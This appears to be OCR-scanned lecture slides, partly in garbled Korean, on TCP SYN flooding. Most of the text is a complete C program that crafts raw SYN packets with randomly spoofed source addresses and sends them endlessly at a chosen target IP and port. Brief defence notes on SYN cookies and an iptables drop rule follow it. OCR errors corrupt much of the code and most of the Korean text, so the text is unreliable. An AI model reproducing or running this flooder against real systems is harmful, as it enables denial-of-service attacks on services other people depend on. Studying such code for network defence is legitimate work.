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H Header Data |

Source port address Destination port address
16 bits 16 bits

Sequence number
32 bits

Acknowledgment number
32 bits

HLEN Reserved Window size
4 bits 6 bits 16 bits
Checksum Urgent pointer
16 bits 16 bits

Options and Padding
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# 1 Mg

#include <stdio.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>

#include
#include
#include

<unistd.h>
<stdlib.h>
<signal .h>

#include <string.h>

#define INDEX_TARGET_IP 1
#define INDEX_TARGET_PORT 2

struct syn {

unsigned char verihl;
unsigned char tos;
unsigned short len;
unsigned short id;
unsigned short flg_ofs;
unsigned char ttl;
unsigned char proto;
unsigned short ipsum;
unsigned long src;
unsigned long dst;

/* End of IP header. Start of TCP header. */
unsigned short sport;
unsigned short dport;
unsigned long seq;
unsigned long ack_seq;
unsigned char offset;
unsigned char flags;
unsigned short win;
unsigned short tcpsum;
unsigned short urgptr;
char opt[20]; // Linux Only
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# 2 getsock()&t=

int getsock(void)

int one=1, s;
iT( (s=socket(PF_INET, SOCK RAW, 6/*IPPROTO TCP*/)) < 1)
return O;

if(setsockopt(s, IPPROTO_IP, IP_HDRINCL,(char *)&one,sizeof(on
return O;

return s;
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¥ 3 resolve() gt

int resolve(char *name, unsigned long *ip)

struct hostent *host;

iT( (Cip=inet_addr(name)) == INADDR_NONE ) {
iT( 1(host=gethostbyname(name)) )
return -1;
*ip = ( (struct in_addr *)host->h_addr)->s_addr;
}

return O;
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I 4 getport() &t

int getport(char *s, unsigned short *out)

char const *p;
int n;

iT(1*s)
return -1;
for( p=s ; *p ; p++)
iITC *p<”0™ || *p>"9" )
return -2;

iT( p-s>5)
return -3;

iT( ((n=atoi(s))>65535) || (n<0) )
return -4;

*out = htons(n);
return O;

n= |~
o
re
R
Hu

wope

ok

Zej Aol Port numberZt HEHEH HAIRIX| ZHABILEH.

=1 -




H 5 prep_syn()g=+

void prep_syn(struct syn *syn)

syn->verihl = 69; // 0100 0101

syn->tos = 16;

syn->len = htons(sizeof(struct syn));

syn->proto = 6; // 6=TCP 17=UDP, 1=ICMP
syn->Flg_ofs = 64; // 010(Don"t Fragment) 00000
syn->offset = 160; // 1010 0000

syn->flags = 2; // set syn flag

syn->ttl = 64;

syn->win = htons(15536);
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int starttime, outcount=0;
int xmit_syn(struct syn *syn, int sock, struct sockaddr_in *targ)

{

register int count, sum;
register unsigned short *p;

count = (sizeof(struct syn)-20) >> 1;

p &syn->sport;

sSyn->src = random();

syn->id = 1+255*( (random()%256) | Oxff );
syn->sport = htons(1024 + (random() & 2048) );
syn->seq = random();

syn->ack_seq = random();

syn->tcpsum 0;
sum = (syn->src >> 16) +
(syn->src & OxffFff) +
(syn->dst >> 16) +
(syn->dst & OxFfff) +
1536 +
htons(count << 1);
while(count--)
sum += *p++;

sum = (sum >> 16) + (sum & OxFfff);
syn->tcpsum = ~(sum += (sum >> 16));
outcount++;

return sendto(sock,
syn,
sizeof(struct syn),
0,
(const struct sockaddr *)targ,
sizeof(struct sockaddr_in));
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# 7 sig_proc()&t=

void sig_proc(int signum)

int ctime = time(NULL);

printf("'"\n -- statistics ----—————————————————— \n'");

printf("" packets sent > %d\n'", outcount);

printf("" bytes sent o %d\n", outcount*sizeof(struct syn));
printf("" seconds active : %d\n'", ctime-starttime);

printf("" average bytes/second: %d\n",
(outcount*sizeof(struct syn)) / (ctime-starttime));
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H 8 main()&x

int main(int argc, char *argv[])

struct syn syn;
struct sockaddr_in targ;
int sock;

memset(&syn, 0, sizeof(struct syn));
if(argec<ld) {

fprintf(stderr,”Syntax:%s <TargetlP> <TargetPort>", argv[0]);

exit(l);

}

iT( '(sock=getsock()) ) {
fprintf(stderr, "Failed to create socket.\n");
exit(2);

}
iT( resolve(argv[INDEX_TARGET_IP], &syn.dst) ) {
fprintf(stderr, "Invalid target IP (%s)\n",
argv[ INDEX_TARGET_IP]);
exit(b5);

}
iT( getport(argv[INDEX TARGET PORT], &syn.dport) ) {
fprintf(stderr, "Invalid target Port (%s)\n",
argv[ INDEX_TARGET_PORT]);
exit(6);

printf("" to %s:%d\n", inet_ntoa(syn.dst), ntohs(syn.dport));
targ.sin_addr.s_addr= htonl(syn.dst);

targ.sin_port htons(syn.dport);
targ.sin_family AF_INET;

srand(time(NULL));
starttime = time(NULL);

signal (SIGHUP, &sig _proc);
signal (SIGINT, &sig_proc);
signal (SIGQUIT, &sig_proc);
signal (SIGILL, &sig _proc);
signal (SIGABRT, &sig_proc);




//

//
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signal (SIGFPE, &sig_proc);
signal (SIGKILL, &sig proc);
signal (SIGSEGV, &sig _proc);
signal (SIGPIPE, &sig proc);
signal (SIGALRM, &sig_proc);
signal (SIGTERM, &sig_proc);
signal (SIGUSR1, &sig proc);
signal (SIGUSR2, &sig proc);
signal (SIGCHLD, &sig_proc);
signal (SIGCONT, &sig_proc);
signal (SIGSTOP, &sig_proc);
signal (SIGTSTP, &sig _proc);
signal (SIGTTIN, &sig_proc);
signal (SIGTTOU, &sig_proc);

prep_syn(&syn);
while(1) {
if( xmit_syn(&syn, sock, &targ) !'= sizeof(struct syn) ) {
fprintf(stderr, "failed to send packet.\n");
}

}
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fActive Connections

Proto Address

TGP
TCP
TGP
TCP
TCP
TCP
TCP
TCP
TCP
TGP
TCP
TCP
TCP
TCP
TCP
TCP
TGP
TCP
ICP
TCP
TCP

LISTEN
Server@| H|20| H& Q¥S J|Ct2|= AE|
SYS-SENT

Local client applicationO] Remote host0f| HAZAS QEHSH AE|

SYN_RECEIVED

SYNS 0t SYN-ACKe 2 SHESHUX| T OrX|2h ACKO| =O0tRX| Gf2 2FEH
ESTABLISHED
3 Way-Handshaking 0| 2t2% = MZE HAZE ME|

ddress State
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
LISTENING
R LISTENING
.46 111 . 19:1863 ESTABLISHED
.234.248.167:5884 ESTABLISHED
.227.193.198:80 CLOSE_WAIT
.227.193.198:80 CLOSE_MWAIT
.227.193.198:80 CLOSE_WAIT
.227.193.198:80 CLOSE_MWAIT
.227.193.198:88 CLOSE_WAIT
.227.193.198:80 CLOSE_WAIT
.227.193.198:88 CLOSE_MWAIT
.227.193.198:80 CLOSE_WAIT
.55.15.242:88 CLOSE_MWAIT
222.231.9.192:7884 ESTABLISHED
211.39.147.231:808 CLOSE_WAIT
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3. SYN Cookie
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4. IPTABLES

B iptablesE 0|2% 2tZA0| |0 UX| UCIH iptablesAt2S /et Kernel Compile=&4
B rule OX|

iptables -A INPUT -s <Source IP> -j DROP
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